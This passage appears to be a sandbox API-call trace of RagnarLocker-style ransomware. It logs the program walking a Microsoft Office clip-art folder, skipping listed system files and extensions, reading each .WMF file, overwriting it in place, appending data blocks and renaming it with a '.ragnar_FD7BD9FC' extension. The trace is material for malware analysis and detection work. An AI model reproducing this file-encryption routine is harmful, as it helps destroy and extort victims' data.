returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" [0083.897] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ragnar_FD7BD9FC" [0083.897] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.897] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0083.897] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.897] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105638.WMF" | out: lpString1="J0105638.WMF") returned="J0105638.WMF" [0083.897] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned=".WMF" [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="autorun.inf") returned 1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="boot.ini") returned 1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="bootfont.bin") returned 1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="bootsect.bak") returned 1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="bootmgr") returned 1 [0083.897] lstrcmpiW (lpString1="J0105638.WMF", lpString2="bootmgr.efi") returned 1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="bootmgfw.efi") returned 1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="desktop.ini") returned 1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="iconcache.db") returned 1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="ntldr") returned -1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="ntuser.dat") returned -1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="ntuser.dat.log") returned -1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="ntuser.ini") returned -1 [0083.898] lstrcmpiW (lpString1="J0105638.WMF", lpString2="thumbs.db") returned -1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.898] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0083.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.898] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10364) returned 1 [0083.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.898] GetProcessHeap () returned 0x580000 [0083.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.898] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.900] VirtualAlloc (lpAddress=0x0, dwSize=0x287c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.900] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x287c, lpOverlapped=0x0) returned 1 [0083.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.901] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x287c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.901] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x287c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x287c, lpOverlapped=0x0) returned 1 [0083.901] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x287c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.901] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x287c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.902] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.902] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.902] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.902] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.902] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.902] GetProcessHeap () returned 0x580000 [0083.902] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.902] CloseHandle (hObject=0xf4) returned 1 [0083.902] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" [0083.902] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ragnar_FD7BD9FC" [0083.902] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0083.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.903] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105710.WMF" | out: lpString1="J0105710.WMF") returned="J0105710.WMF" [0083.903] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned=".WMF" [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="autorun.inf") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="boot.ini") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="bootfont.bin") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="bootsect.bak") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="bootmgr") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="bootmgr.efi") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="bootmgfw.efi") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="desktop.ini") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="iconcache.db") returned 1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="ntldr") returned -1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="ntuser.dat") returned -1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="ntuser.dat.log") returned -1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="ntuser.ini") returned -1 [0083.903] lstrcmpiW (lpString1="J0105710.WMF", lpString2="thumbs.db") returned -1 [0083.903] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.903] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.904] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.904] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.904] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.904] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.904] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0083.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.904] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13808) returned 1 [0083.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.904] GetProcessHeap () returned 0x580000 [0083.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.904] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.906] VirtualAlloc (lpAddress=0x0, dwSize=0x35f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.906] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x35f0, lpOverlapped=0x0) returned 1 [0083.907] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.907] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.907] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x35f0, lpOverlapped=0x0) returned 1 [0083.908] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.908] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.908] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.908] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.908] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.908] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.908] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.908] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.908] GetProcessHeap () returned 0x580000 [0083.908] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.908] CloseHandle (hObject=0xf4) returned 1 [0083.908] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" [0083.909] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ragnar_FD7BD9FC" [0083.909] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.909] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0083.909] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.909] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105846.WMF" | out: lpString1="J0105846.WMF") returned="J0105846.WMF" [0083.909] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned=".WMF" [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="autorun.inf") returned 1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="boot.ini") returned 1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="bootfont.bin") returned 1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="bootsect.bak") returned 1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="bootmgr") returned 1 [0083.909] lstrcmpiW (lpString1="J0105846.WMF", lpString2="bootmgr.efi") returned 1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="bootmgfw.efi") returned 1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="desktop.ini") returned 1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="iconcache.db") returned 1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="ntldr") returned -1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="ntuser.dat") returned -1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="ntuser.dat.log") returned -1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="ntuser.ini") returned -1 [0083.910] lstrcmpiW (lpString1="J0105846.WMF", lpString2="thumbs.db") returned -1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.910] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0083.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.911] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8240) returned 1 [0083.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2027, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.911] GetProcessHeap () returned 0x580000 [0083.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.911] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.915] VirtualAlloc (lpAddress=0x0, dwSize=0x2030, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.915] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.915] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.915] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2030, lpOverlapped=0x0) returned 1 [0083.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.916] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2030, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.916] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2030, lpOverlapped=0x0) returned 1 [0083.917] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2030, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.917] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.917] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2030, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.917] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.917] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.917] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.917] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.917] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.917] GetProcessHeap () returned 0x580000 [0083.917] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.917] CloseHandle (hObject=0xf4) returned 1 [0083.917] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" [0083.917] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ragnar_FD7BD9FC" [0083.917] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.918] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 